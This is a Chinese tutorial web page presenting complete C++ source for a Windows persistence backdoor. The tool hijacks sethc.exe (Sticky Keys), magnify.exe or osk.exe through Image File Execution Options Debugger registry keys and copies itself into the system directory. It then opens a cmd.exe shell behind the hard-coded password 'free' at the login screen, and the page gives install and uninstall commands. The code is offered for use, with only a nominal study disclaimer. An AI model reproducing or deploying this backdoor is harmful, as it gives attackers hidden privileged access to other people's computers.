C++映像劫持后門實例分析
本文實例講述了C++映像劫持后門的方法。分享給大家供大家參考。具體如下:
// freeheart.cpp : Defines the entry point for the console application.
//學習交流使用,違法使用后果自負。
// by:cnblogs.com/blogg time 2013.5.24
// argv 0 = freeheart.exe
// argv 1 = -i
// argv 2 = name.exe
// argv 3 = 1 2 3
// 此程序使用的映像劫持技術(shù),
// 在注冊表當中建立一個程序名的項目,在里面使用debugger,然后在里面指向自己的程序。
//[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options]
//
#include "stdafx.h"
#include "windows.h"
#include "atlbase.h"
#include <iostream>
using namespace std;
int main(int argc, char* argv[])
{
void anzhuang(char *Path,char *filename);
void xiezai(char *path,char *hName);
void CopyZiji(char *CopyPath);
char *password = "free"; //真密碼緩沖區(qū)
char *shuruPwd = ""; //輸入的密碼緩沖區(qū)
int errorbuff = 0;
char *PathBuff = "";
char *FileName = "";
char *chsname = "sethc.exe"; //SHIFT粘貼鍵程序的名稱
char *fangdajing = "magnify.exe"; //
char *pingmujianpan = "osk.exe"; //
LPTSTR sysbuff; //得到系統(tǒng)路徑的緩沖區(qū)
TCHAR tchBuffer2[1024]; //申請一個字符變量數(shù)組
sysbuff = tchBuffer2; //把系統(tǒng)的路徑放到這個變量數(shù)組里
if(GetSystemDirectory(sysbuff, MAX_PATH)) //得到系統(tǒng)路徑
{
sysbuff = strcat(sysbuff,"\\"); //strcat 剪切在一起,把\\放在系統(tǒng)路徑的后面,然后放入系統(tǒng)緩沖區(qū)當中。
}
if (argv[1] != NULL)
{
//安裝命令判斷
if (strcmp(argv[1],"-i") == 0)
{
if (argv[2] != NULL)
{
FileName=argv[2];
}
else
{
cout<<"請輸入文件名!";
return 0;
}
if(argv[3] != NULL)
{
if(strcmp(argv[3],"1") == 0)
{
anzhuang(FileName,chsname);
PathBuff = strcat(sysbuff,FileName);
CopyZiji(PathBuff);
cout<<"創(chuàng)建完成! : "<<PathBuff<<endl;
return 0;
}
if(strcmp(argv[3],"2") == 0)
{
anzhuang(FileName,fangdajing);
PathBuff = strcat(sysbuff,FileName);
CopyZiji(PathBuff); //調(diào)用函數(shù)
cout<<"創(chuàng)建完成! : "<<PathBuff<<endl;
return 0;
}
if(strcmp(argv[3],"3") == 0)
{
anzhuang(FileName,pingmujianpan);
PathBuff = strcat(sysbuff,FileName);
CopyZiji(PathBuff); //調(diào)用函數(shù)
cout<<"創(chuàng)建完成! : "<<PathBuff<<endl;
return 0;
}
}
else
{
cout<<"請輸入?yún)?shù)!"<<endl;
}
return 0;
}
//卸載
if (strcmp(argv[1],"-u") == 0)
{
if(argv[2] != NULL)
{
if(strcmp(argv[2],"1") == 0)
{
xiezai(sysbuff,chsname);
cout<<"刪除文件成功!"<<endl;
return 0;
}
if(strcmp(argv[2],"2") == 0)
{
xiezai(sysbuff,fangdajing);
cout<<"刪除文件成功!"<<endl;
return 0;
}
if(strcmp(argv[2],"3") == 0)
{
xiezai(sysbuff,pingmujianpan);
cout<<"刪除文件成功!"<<endl;
return 0;
}
}
else
{
cout<<"請輸入?yún)?shù)!"<<endl;
}
return 0;
}
//為什么會進入這里 因為debugger a.exe 其實是兩個參數(shù),因為if (argv[1] != NULL) 也就是第二個參數(shù)不等于空的話執(zhí)行下面的語句。
while(errorbuff<3) //循環(huán)三次,錯誤。
{
cout<<"password:";
cin>>shuruPwd;
if (strcmp(shuruPwd,password) == 0)
{
system("cmd.exe");
break;
}
else
{
cout<<"密碼錯誤!"<<endl;
}
errorbuff++; //自加一次
}
return 0;
}
system("color a");
cout<<"-----------------------------------------------------"<<endl;
cout<<"歡迎光臨自由的心,祝您好運!"<<endl;
cout<<"1: sethc.exe Shift后門\n";
cout<<"2: magnify.exe 放大鏡后門\n";
cout<<"3: osk.exe 屏幕鍵盤后門\n";
cout<<"-----------------------------------------------------"<<endl;
cout<<"安裝: freeheart.exe -i xx.exe 1"<<endl;
cout<<"卸載: freeheart.exe -u 1"<<endl;
cout<<"連接密碼:free"<<endl;
cout<<"-----------------------------------------------------"<<endl;
return 0;
}
//安裝函數(shù)
void anzhuang(char *Path,char *filename)
{
HKEY hSoftKey = NULL;
HKEY hCompanyKey = NULL;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"), 0, KEY_WRITE|KEY_READ,&hSoftKey) == ERROR_SUCCESS)
{
if (RegCreateKeyEx(hSoftKey, _T(filename), 0, REG_NONE,REG_OPTION_NON_VOLATILE, KEY_WRITE|KEY_READ, NULL,&hCompanyKey,NULL) == ERROR_SUCCESS)
{
LPBYTE Value=(LPBYTE)Path;
long ret1=::RegSetValueEx(hCompanyKey,"Debugger",0,REG_SZ,(BYTE*)Value,50);
RegCloseKey(hCompanyKey);
}
RegCloseKey(hSoftKey);
}
}
//卸載函數(shù)
void xiezai(char *path,char *hName) //hName 傳遞進來的程序名
{
HKEY hSoftKey = NULL;
LPCTSTR hMainKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options";
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, hMainKey, 0, KEY_WRITE|KEY_READ,&hSoftKey) == ERROR_SUCCESS)
{
DWORD len = 256;
DWORD type = REG_SZ;
LPBYTE last = new BYTE[256];
LPCTSTR hname = (LPCTSTR)hName;
char *HHname;
HKEY hKey; //在注冊表當中創(chuàng)建一個magnify名的項,在里面當中加入debugger,里面跟上自己的程序名的值。
char* DelCom;
HHname=strcat((char *)hMainKey,"\\"); //hmainkey 注冊表的路徑
HHname=strcat((char *)hMainKey,(char *)hname); //hname 程序名
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,(LPCTSTR)HHname,0,KEY_READ,&hKey)==ERROR_SUCCESS && RegQueryValueEx(hKey,"Debugger",0,&type,last,&len)==ERROR_SUCCESS)
{
DelCom=strcat(path,reinterpret_cast <char*>(last));
DeleteFile(DelCom); //刪除文件
RegDeleteKey(hSoftKey,hname); //刪除注冊表
}
RegCloseKey(hSoftKey); //關(guān)閉句柄
RegCloseKey(hKey); //關(guān)閉句柄
}
}
void CopyZiji(char *CopyPath) //將自身生成exe文件復制到指定的路徑下
{
char PathBuff[MAX_PATH]; //申請一個字符變量數(shù)組,大小是系統(tǒng)最大的長度。
GetModuleFileName(NULL,PathBuff,MAX_PATH); //第一個參數(shù)為NULL,就表示獲取當前程序的路徑,第二個參數(shù)就是存放到緩沖區(qū)。
CopyFile(PathBuff,CopyPath,true); //CurrentPath 是自身exe,把自身復制到目標路徑當中
}
希望本文所述對大家的C++程序設(shè)計有所幫助。
上一篇:C++動態(tài)規(guī)劃之背包問題解決方法
欄 目:C語言
下一篇:VC創(chuàng)建DLL動態(tài)鏈接庫的方法
本文標題:C++映像劫持后門實例分析
本文地址:http://www.jygsgssxh.com/a1/Cyuyan/3078.html
您可能感興趣的文章
- 04-02c語言沒有round函數(shù) round c語言
- 01-10深入理解C++中常見的關(guān)鍵字含義
- 01-10使用C++實現(xiàn)全排列算法的方法詳解
- 01-10c++中inline的用法分析
- 01-10用C++實現(xiàn)DBSCAN聚類算法
- 01-10全排列算法的非遞歸實現(xiàn)與遞歸實現(xiàn)的方法(C++)
- 01-10C++大數(shù)模板(推薦)
- 01-10淺談C/C++中的static與extern關(guān)鍵字的使用詳解
- 01-10深入C/C++浮點數(shù)在內(nèi)存中的存儲方式詳解
- 01-10基于C程序啟動代碼的深入分析


閱讀排行
本欄相關(guān)
- 04-02c語言函數(shù)調(diào)用后清空內(nèi)存 c語言調(diào)用
- 04-02func函數(shù)+在C語言 func函數(shù)在c語言中
- 04-02c語言的正則匹配函數(shù) c語言正則表達
- 04-02c語言用函數(shù)寫分段 用c語言表示分段
- 04-02c語言中對數(shù)函數(shù)的表達式 c語言中對
- 04-02c語言編寫函數(shù)冒泡排序 c語言冒泡排
- 04-02c語言沒有round函數(shù) round c語言
- 04-02c語言分段函數(shù)怎么求 用c語言求分段
- 04-02C語言中怎么打出三角函數(shù) c語言中怎
- 04-02c語言調(diào)用函數(shù)求fibo C語言調(diào)用函數(shù)求
隨機閱讀
- 08-05織夢dedecms什么時候用欄目交叉功能?
- 01-10使用C語言求解撲克牌的順子及n個骰子
- 01-11ajax實現(xiàn)頁面的局部加載
- 08-05DEDE織夢data目錄下的sessions文件夾有什
- 08-05dedecms(織夢)副欄目數(shù)量限制代碼修改
- 01-10C#中split用法實例總結(jié)
- 01-10delphi制作wav文件的方法
- 01-10SublimeText編譯C開發(fā)環(huán)境設(shè)置
- 04-02jquery與jsp,用jquery
- 01-11Mac OSX 打開原生自帶讀寫NTFS功能(圖文


